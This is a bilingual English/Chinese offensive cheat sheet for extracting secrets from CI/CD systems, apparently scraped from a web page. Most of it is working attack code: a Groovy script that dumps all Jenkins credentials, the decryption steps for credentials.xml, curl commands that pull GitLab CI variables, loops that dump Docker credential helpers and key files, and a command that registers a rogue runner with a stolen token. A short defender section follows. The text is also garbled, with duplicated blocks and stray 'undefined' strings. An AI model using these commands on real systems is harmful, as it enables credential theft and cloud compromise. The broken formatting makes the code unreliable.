undefinedundefinedJenkins Credential Store
Jenkins Credential Store
groovy
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}For offline decryption of , you need and from the Jenkins home directory. Hash the master key with SHA-256, use the first 16 bytes to AES-ECB-decrypt the hudson secret, then use that as the AES-128-CBC key (IV is bytes 1-17 of the encrypted blob) to decrypt individual credential entries.
credentials.xmlsecrets/master.keysecrets/hudson.util.Secretgroovy
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins
def store = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()
store.getDomains().each { domain ->
store.getCredentials(domain).each { cred ->
println "=== ${cred.id} (${cred.class.simpleName}) ==="
if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
println "---"
}
}要离线解密 ,需要 Jenkins 主目录中的 和 。使用 SHA-256 散列 master key,取前 16 个字节,以 AES-ECB 解密 hudson secret,再将其用作 AES-128-CBC 密钥(IV 为加密 blob 的第 1 至 17 字节),以解密各条凭据记录。
credentials.xmlsecrets/master.keysecrets/hudson.util.SecretGitLab CI Variables
GitLab CI Variables
bash
undefinedbash
undefinedExtract variables using CI_JOB_TOKEN (limited scope)
Extract variables using CI_JOB_TOKEN (limited scope)
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
With a personal access token or impersonation token (broader scope)
With a personal access token or impersonation token (broader scope)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'
Group variables (inherited by all projects in the group)
Group variables (inherited by all projects in the group)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'
Instance variables (requires admin access)
Instance variables (requires admin access)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
File-type variables are written to disk -- find them
File-type variables are written to disk -- find them
find /builds -name ".env" -o -name ".key" -o -name ".pem" -o -name ".json" 2>/dev/null |
while read f; do echo "=== $f ==="; cat "$f"; done
while read f; do echo "=== $f ==="; cat "$f"; done
---find /builds -name ".env" -o -name ".key" -o -name ".pem" -o -name ".json" 2>/dev/null |
while read f; do echo "=== $f ==="; cat "$f"; done
while read f; do echo "=== $f ==="; cat "$f"; done
---Docker Registry Credential Theft
Docker Registry 凭据窃取
CI/CD pipelines that build and push container images store Docker registry credentials. You extract
them from the runner filesystem, environment variables, or the Docker credential helper chain.
bash
undefined构建和推送容器镜像的 CI/CD Pipeline 会保存 Docker Registry 凭据。你可以从 Runner 文件系统、环境变量或 Docker credential helper 链中提取它们。
bash
undefinedCheck Docker configuration for stored credentials
Check Docker configuration for stored credentials
cat ~/.docker/config.json 2>/dev/null | jq '.'
cat ~/.docker/config.json 2>/dev/null | jq '.'
Look for credHelpers, credStore, and direct auths entries
Look for credHelpers, credStore, and direct auths entries
Extract from Docker credential helpers
Extract from Docker credential helpers
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
docker-credential-gcr list 2>/dev/null
docker-credential-ecr-login list 2>/dev/null
docker-credential-desktop list 2>/dev/null
For each credential helper, get the stored credentials
For each credential helper, get the stored credentials
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null |
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done
for helper in gcr ecr-login desktop secretservice pass; do
echo "=== docker-credential-$helper ==="
echo "" | docker-credential-$helper list 2>/dev/null |
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done
jq -r 'keys[]' 2>/dev/null | while read registry; do echo "$registry" | docker-credential-$helper get 2>/dev/null | jq '.' done done
Check for registry tokens in environment
Check for registry tokens in environment
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
env | grep -iE '(DOCKER_|REGISTRY_|CR_|ACR_|ECR_|GCR_|GHCR_)' | sort
GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
GitHub Container Registry token -- GITHUB_TOKEN often has packages:write
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
echo "$GITHUB_TOKEN" | docker login ghcr.io -u USERNAME --password-stdin
AWS ECR -- extract temporary credentials
AWS ECR -- extract temporary credentials
aws ecr get-login-password --region us-east-1
aws ecr get-login-password --region us-east-1
GCP Artifact Registry
GCP Artifact Registry
gcloud auth print-access-token
---gcloud auth print-access-token
---Service Connections and Runner Tokens
服务连接与 Runner Token
Cloud service connections and runner tokens provide direct pivot paths from CI/CD into infrastructure.
bash
undefined云服务连接和 Runner Token 为从 CI/CD 横向进入基础设施提供直接路径。
bash
undefinedAzure DevOps service connections -- credentials injected as env vars
Azure DevOps service connections -- credentials injected as env vars
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
echo "ARM_CLIENT_ID: $ARM_CLIENT_ID"
echo "ARM_CLIENT_SECRET: ${ARM_CLIENT_SECRET:0:8}..."
az login --service-principal -u "$ARM_CLIENT_ID" -p "$ARM_CLIENT_SECRET" -t "$ARM_TENANT_ID"
az role assignment list --assignee "$ARM_CLIENT_ID" --output table
GCP service account keys on runners
GCP service account keys on runners
find / -name "*.json" -exec grep -l "private_key_id" {} ; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
find / -name "*.json" -exec grep -l "private_key_id" {} ; 2>/dev/null
gcloud auth print-access-token --impersonate-service-account=TARGET@PROJECT.iam.gserviceaccount.com
AWS cross-account role assumption
AWS cross-account role assumption
aws sts get-caller-identity
Runner tokens enable job interception and rogue runner registration:
```bashaws sts get-caller-identity
Runner Token 可用于拦截 Job 和注册恶意 Runner:
```bashGitHub Actions self-hosted runner credentials
GitHub Actions self-hosted runner credentials
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "actions-runner" -name ".runner" 2>/dev/null
cat /home/runner/.runner 2>/dev/null | jq '.'
cat /home/runner/.credentials 2>/dev/null
find / -path "actions-runner" -name ".runner" 2>/dev/null
GitLab runner token extraction
GitLab runner token extraction
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
grep -E '(token|url)' /etc/gitlab-runner/config.toml 2>/dev/null
Claim jobs with a stolen GitLab runner token
Claim jobs with a stolen GitLab runner token
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
curl -sS --request POST "https://gitlab.target.com/api/v4/jobs/request"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
--form "token=RUNNER_TOKEN" --form "info[name]=rogue-runner"
Jenkins agent secret files
Jenkins agent secret files
find / -name "secret.key" -path "/jenkins/" 2>/dev/null
---find / -name "secret.key" -path "/jenkins/" 2>/dev/null
---Detection / Defender View
检测 / 防御方视角
Defenders should implement these controls and monitor for these indicators:
- Environment variable access patterns: Alert when pipeline steps execute ,
env, or accessprintenvoutside expected debugging contexts./proc/self/environ - Outbound data exfiltration: Monitor runner network traffic for POST requests to unknown hosts and unusual DNS query patterns.
- Secrets access auditing: Enable vault/secrets-manager access logs. Alert on bulk secret enumeration or access from unexpected IP ranges.
- OIDC token claims validation: Ensure cloud provider trust policies validate specific claims (repository, branch, environment) rather than broad organization-level trust.
- Log sanitization: Scan build logs for credential patterns before storage using truffleHog or detect-secrets.
- Cache integrity: Implement cache signing or checksums to detect poisoning.
- Runner filesystem hygiene: Use ephemeral runners. Scrub filesystem between jobs on persistent runners.
- Token rotation: Rotate runner registration tokens regularly. Monitor for unexpected runner registrations.
- Credential scope minimization: Apply least-privilege to all CI/CD credentials. Use short-lived tokens. Separate read and write credentials.
Key defensive controls: use OIDC with narrow claim constraints over long-lived credentials; enable audit logging on all secrets platforms; use ephemeral container-based runners; restrict secret access via environment protection rules; implement network segmentation for build environments.
防御方应实施以下控制措施并监控这些指标:
- 环境变量访问模式:当 Pipeline 步骤在预期调试场景之外执行 、
env或访问printenv时发出告警。/proc/self/environ - 出站数据外泄:监控 Runner 网络流量中的未知主机 POST 请求和异常 DNS 查询模式。
- 密钥访问审计:启用 Vault/Secrets Manager 访问日志。对批量密钥枚举或来自异常 IP 范围的访问发出告警。
- OIDC Token Claims 校验:确保云提供商信任策略校验特定 Claims(repository、branch、environment),而不是信任整个组织级范围。
- 日志净化:使用 truffleHog 或 detect-secrets 在存储前扫描构建日志中的凭据模式。
- 缓存完整性:实施缓存签名或校验和检测投毒。
- Runner 文件系统卫生:使用临时 Runner。在持久化 Runner 的 Job 之间清理文件系统。
- Token 轮换:定期轮换 Runner 注册 Token。监控异常 Runner 注册。
- 凭据范围最小化:对所有 CI/CD 凭据应用最小权限原则。使用短期 Token。分离只读和写入凭据。
关键防御控制:使用带窄 Claims 约束的 OIDC,而非长期凭据;在所有 Secrets 平台上启用审计日志;使用基于临时容器的 Runner;通过环境保护规则限制密钥访问;对构建环境实施网络分段。
Engagement Cheatsheet
参与速查表
| Vector | Platform | Access Required | Impact |
|---|---|---|---|
| Env var dump | All | Pipeline execution | All injected secrets |
| Log masking bypass | All | Pipeline execution | Secret values in logs |
| Vault token reuse | All + Vault | Pipeline execution | Vault secret access |
| AWS metadata/creds | AWS runners | Pipeline execution | AWS account access |
| Azure managed identity | Azure runners | Pipeline execution | Azure subscription |
| GCP metadata/SA key | GCP runners | Pipeline execution | GCP project access |
| OIDC federation abuse | GitHub/GitLab | Workflow in trusted org | Cloud role assumption |
| Build log analysis | All | Log read access | Leaked credentials |
| Cache poisoning | GitHub/GitLab | Cache write access | Credential exfiltration |
| Jenkins credential dump | Jenkins | Script console access | All stored credentials |
| GitLab variable extraction | GitLab | API token | Project/group secrets |
| Docker config theft | All | Runner filesystem | Registry credentials |
| Runner token capture | GitHub/GitLab | Runner filesystem | Job interception |
| Service connection theft | Azure DevOps | Pipeline execution | Cloud infra access |
| SSM Parameter Store | AWS | Pipeline execution | Stored parameters |
| Key Vault extraction | Azure | Pipeline execution | Vault secrets/keys |
| 攻击向量 | 平台 | 所需访问权限 | 影响 |
|---|---|---|---|
| 环境变量转储 | All | Pipeline 执行权限 | 所有注入的密钥 |
| 日志遮蔽绕过 | All | Pipeline 执行权限 | 日志中的密钥值 |
| Vault Token 复用 | All + Vault | Pipeline 执行权限 | Vault 密钥访问权限 |
| AWS 元数据/凭据 | AWS runners | Pipeline 执行权限 | AWS 账户访问权限 |
| Azure 托管标识 | Azure runners | Pipeline 执行权限 | Azure 订阅访问权限 |
| GCP 元数据/SA Key | GCP runners | Pipeline 执行权限 | GCP 项目访问权限 |
| OIDC 联合滥用 | GitHub/GitLab | 受信任组织中的 Workflow | 云角色承担权限 |
| 构建日志分析 | All | 日志读取权限 | 泄露的凭据 |
| 缓存投毒 | GitHub/GitLab | 缓存写入权限 | 凭据外泄 |
| Jenkins 凭据转储 | Jenkins | Script Console 访问权限 | 所有已存储的凭据 |
| GitLab 变量提取 | GitLab | API Token | 项目/群组密钥 |
| Docker 配置窃取 | All | Runner 文件系统 | Registry 凭据 |
| Runner Token 捕获 | GitHub/GitLab | Runner 文件系统 | Job 拦截 |
| 服务连接窃取 | Azure DevOps | Pipeline 执行权限 | 云基础设施访问权限 |
| SSM Parameter Store | AWS | Pipeline 执行权限 | 已存储的参数 |
| Key Vault 提取 | Azure | Pipeline 执行权限 | Vault 密钥/密钥材料 |
Key References
关键参考
- MITRE ATT&CK T1552: https://attack.mitre.org/techniques/T1552/
- OWASP Top 10 CI/CD Risks (CICD-SEC-6): https://owasp.org/www-project-top-10-ci-cd-security-risks/
- GitHub Actions Secrets Hardening: https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions
- GitLab CI/CD Variable Security: https://docs.gitlab.com/ee/ci/variables/#cicd-variable-security
- Jenkins Credentials Plugin: https://plugins.jenkins.io/credentials/
- HashiCorp Vault CI/CD Integration: https://developer.hashicorp.com/vault/tutorials/app-integration
- AWS OIDC with GitHub Actions: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html
- truffleHog: https://github.com/trufflesecurity/trufflehog
- detect-secrets: https://github.com/Yelp/detect-secrets
- MITRE ATT&CK T1552: https://attack.mitre.org/techniques/T1552/
- OWASP Top 10 CI/CD Risks (CICD-SEC-6): https://owasp.org/www-project-top-10-ci-cd-security-risks/
- GitHub Actions Secrets 强化: https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions
- GitLab CI/CD Variable 安全: https://docs.gitlab.com/ee/ci/variables/#cicd-variable-security
- Jenkins Credentials Plugin: https://plugins.jenkins.io/credentials/
- HashiCorp Vault CI/CD 集成: https://developer.hashicorp.com/vault/tutorials/app-integration
- 使用 AWS OIDC 与 GitHub Actions: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html
- truffleHog: https://github.com/trufflesecurity/trufflehog
- detect-secrets: https://github.com/Yelp/detect-secrets